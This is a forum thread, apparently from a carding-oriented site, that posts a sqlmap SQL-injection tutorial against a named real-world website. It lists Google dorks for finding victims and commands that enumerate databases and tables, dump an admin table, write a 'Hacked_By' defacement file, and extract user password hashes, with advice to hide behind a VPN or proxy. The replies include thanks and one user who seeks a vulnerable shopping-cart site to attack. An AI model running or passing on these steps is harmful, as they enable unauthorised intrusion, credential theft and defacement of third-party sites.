Cyber Security Forum

Cyber Security Forum (https://cybsec.info/index.php)
-   Tutorials (https://cybsec.info/forumdisplay.php?f=49)
-   -   Sqlmap Tutorial (https://cybsec.info/showthread.php?t=16223)

Helper 01-13-2016 09:14 AM

Sqlmap Tutorial
 
Hello All Members! :)

Injection Tool: sqlmap

Official Page: http://sqlmap.org

Download Link: https://github.com/sqlmapproject/sqlmap/zipball/master

Testing: WIndows XP/SP3 , Python 2.7.5

vulnerability Page: http://www.godwins-law.co.uk/staff.php?id=10'

!!!!! Use OpenVPN OR PROXY !!!!!

Step1. Target

Google Dork: inurl:index.php , inurl:staff.php , inurl:show.php , inurl:login.php , etc...

Target: http://www.godwins-law.co.uk/staff.php?id=10

Target WebServer Operating System: WIndows 2003

Target WebApplication: ASP.NET , Microsoft IIS 6.0 , PHP 5.2.8

Target BackEndDataBase: MySQL 5.0.0

Step2. DataBase

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql --dbs

--database--

godwins
information_schema

Step3. Table

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql -D godwins --tables

--table--

adminhelp
articlecats
articles
contentimages
imagelib
news
pages
staff

Step4. Column & Dump

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql -D godwins -T adminhelp --columns

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql -D godwins -T adminhelp --dump

Step5. Hacked Text

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql --file-dest=Hacked_By_sasami_327.txt

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql --file-read=Hacked_By_sasami_327.txt

Step6. user & password

sqlmap.py -u "www.godwins-law.co.uk/staff.php?id=10" --dbms=mysql --users --passwords

rikketik 04-07-2016 08:07 PM

nice tut

dahu 02-21-2017 05:30 AM

nice tut thanks

Magrelohspfc 05-26-2017 06:11 AM

Thanks

komerhanda 05-26-2017 07:27 AM

all i need is vulnerable shopping cart site in my country now.
Thanks

xnx7704 05-26-2017 06:54 PM

thanks!!

feiman 01-20-2022 07:21 PM

where is adminhelp table?


All times are GMT. The time now is 04:58 AM.

Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
vB.Sponsors

Cybe security forum, cyber site forum, cyber forum, vendor, emv software, emv chip writer, cyber tutorial, online shop